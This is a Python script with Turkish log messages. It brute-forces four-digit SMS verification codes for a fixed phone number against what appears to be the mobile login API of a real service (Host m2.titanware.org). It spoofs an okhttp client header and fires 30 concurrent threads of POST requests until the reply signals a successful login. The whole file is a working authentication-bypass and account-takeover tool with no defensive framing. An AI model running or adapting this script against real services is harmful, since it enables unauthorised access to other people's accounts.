import requests import time from concurrent.futures import ThreadPoolExecutor, as_completed from queue import Queue import logging logging.basicConfig(filename='log.log', level=logging.INFO, format='%(asctime)s - Kod: %(message)s') url = " " headers = { "Accept-Encoding": "gzip", "Connection": "Keep-Alive", "Content-Type": "application/json", "Host": "m2.titanware.org", "User-Agent": "okhttp/4.9.2", "accept": "application/json, text/plain, */*" } success_code = Queue() stop_execution = False def try_code(code): global stop_execution if stop_execution: return False verification_code = f"{code:04d}" data = { "PhoneNumber": "5444444444", "Country": "TR", "CountryCode": "+90", "VerificationCode": verification_code } try: response = requests.post(url, json=data, headers=headers, timeout=3) log_message = f"{verification_code} | Status: {response.status_code} | Yanıt: {response.text}" logging.info(log_message) print(log_message) try: response_json = response.json() if response_json.get("message") == "Home": success_code.put((verification_code, response.text)) stop_execution = True return True except ValueError: logging.error(f"Yanıt JSON formatında değil (Kod: {verification_code}): {response.text}") print(f"Yanıt JSON formatında değil (Kod: {verification_code}): {response.text}") return False except requests.exceptions.RequestException as e: logging.error(f"Hata oluştu (Kod: {verification_code}): {e}") print(f"Hata oluştu (Kod: {verification_code}): {e}") return False def main(): start_time = time.time() max_threads = 30 codes = range(5000 , 9999) with ThreadPoolExecutor(max_workers=max_threads) as executor: future_to_code = {executor.submit(try_code, code): code for code in codes} for future in as_completed(future_to_code): if not success_code.empty(): success = success_code.get() print(f"Kod bulundu: {success[0]} | Yanıt: {success[1]}") logging.info(f"BAŞARILI! Kod: {success[0]} | Yanıt: {success[1]}") break end_time = time.time() print(f"İşlem tamamlandı. Toplam süre: {end_time - start_time:.2f} saniye") logging.info(f"Toplam süre: {end_time - start_time:.2f} saniye") if __name__ == "__main__": main()